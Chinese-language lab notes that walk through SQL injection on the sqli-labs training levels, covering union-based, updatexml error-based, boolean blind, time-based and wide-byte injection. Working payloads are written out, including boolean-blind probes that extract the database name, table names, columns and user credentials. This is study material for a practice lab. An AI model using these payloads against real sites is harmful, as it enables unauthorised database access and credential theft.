根据注入模式分类
- 基于联合查询的注入模式
- 基于报错的注入模式
- 解决使用updatexml取值显示不全:
- 基于布尔的盲注
- 基于时间的盲注
- 堆查询的注入模式(目前还未尝试)
- 宽字节注入
基于联合查询的注入模式
以sqli-labs第一关为例
首先判断是什么类型的注入
输入?id=1正常,输入?id=1’报错,所以判断为是字符型注入,闭合字符为’
判断列数,使用order by命令,末尾输入%23注释掉后面的部分
输入order by = 4报错,输入order by = 3正常,所以判断共有三列
判断显示位,使用union联合查询命令,将前面的指令改为假才可以显示出后面指令的结果。
结果显示第二三位是回显字段,可以在第二三位输入指令,结果会在页面上显示
查看该数据库版本和当前数据库,当前数据库为security,版本为5.5.44
判断当前数据库用户,结果为root
查询当前数据库下的所有表
查看当前数据库下user表中的所有列名
查看user表中的全部信息
基于报错的注入模式
以sqli-labs第五关为例
判断注入类型,结果为字符型,闭合字符为’
使用updatexml函数查看数据库名
查询当前数据库下的所有表
查看当前数据库下user表中的所有列名
查看user表中的全部信息,但是显示不全
解决使用updatexml取值显示不全:
方法一: 以less-1为例,使用limit语句限制输出个数,如下图命令意为输出从1个,从第0个开始。
?id=1’and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)%23
方法二: 可以使用mid函数从文本中提取信息,第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数,可以分段显示查询的字段,直至看到全部字段,如下图分三次查看users表中的全部用户名.
基于布尔的盲注
以sqli-labs第八关为例
首先判断闭合字符,在输入’和’)时页面都显示异常且无报错信息,使用逻辑运算符进一步确定闭合字符,结果在使用’且后半句条件为真的基础上页面显示正常,所以闭合字符为’,为字符型注入
求当前数据库的长度,通过尝试得出长度为8
?id=1'and length(database())=8 -- +
求当前数据库名,根据结果,对比ASCII码表得出数据库名为security
?id=1'and ascii(substring(database(),1,1))=115 -- +
?id=1'and ascii(substring(database(),2,1))=101 -- +
?id=1'and ascii(substring(database(),3,1))=99 -- +
?id=1'and ascii(substring(database(),4,1))=117 -- +
?id=1'and ascii(substring(database(),5,1))=114 -- +
?id=1'and ascii(substring(database(),6,1))=105 -- +
?id=1'and ascii(substring(database(),7,1))=116 -- +
?id=1'and ascii(substring(database(),8,1))=121 -- +
求表的数量结果显示有四个表
?id=1'and (select count(table_name) from information_schema.tables where table_schema='security'limit 0,1) = 4 -- +
爆表名,结果表名分别为emails,referrers,ugents,users,下图为爆第一个表表名首字母是否为e
?id=1'and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 -- +
下图为爆第二个表表名首字母为r,修改linmit语句切换数据表
?id=1'and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114 -- +
使用user表报字段名,结果有三个字段分别为id,username,password
?id=1'and ascii(substring((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1)) = 105--+
最后爆库
?id=1'and ascii(substring((select id from users limit 0,1),1,1)) = 49 --+
?id=1'and ascii(substring((select username from users limit 0,1),1,1)) = 68 --+
?id=1'and ascii(substring((select password from users limit 0,1),1,1)) = 68 --+
基于时间的盲注
以sqli-labs第九关为例
尝试四个闭合字符页面都显示正常,考虑使用时间型注入模式
使用’配合sleep()函数构造payload时,发现页面响应时间在设定的5秒左右,即sleep()函数被执行,所以判断出闭合字符为’
然后使用相同的办法先获取数据库长度,再获取数据库名每一位的ascii值,由此确定数据库名
确定数据库名为security后,同样的方法爆数据表的数量
爆表名
使用users表爆列名
最后爆库,注意SQL语句与注释符之间有空格,没有空格会报错
堆查询的注入模式(目前还未尝试)
宽字节注入
以sqli-labs第三十二关为例
这一关没有输入框需要使用GET或POST方法传参,在使用GET方法输入?id=1’时,报错信息显示在我们输入的原有基础上增加了一个\
所以将注入的命令变为?id=00%bf’,通过报错信息可以看到闭合字符为’
这里的命令参考了两位大佬的文章,有不理解的可以做下参考
爆数据表,由于无法输入’所以无法输入’security’,这里可以使用database()代替当前数据库名称,也可以使用十六进制数表示
爆users表下列名
爆库
如有错误,欢迎批评指正[鞠躬]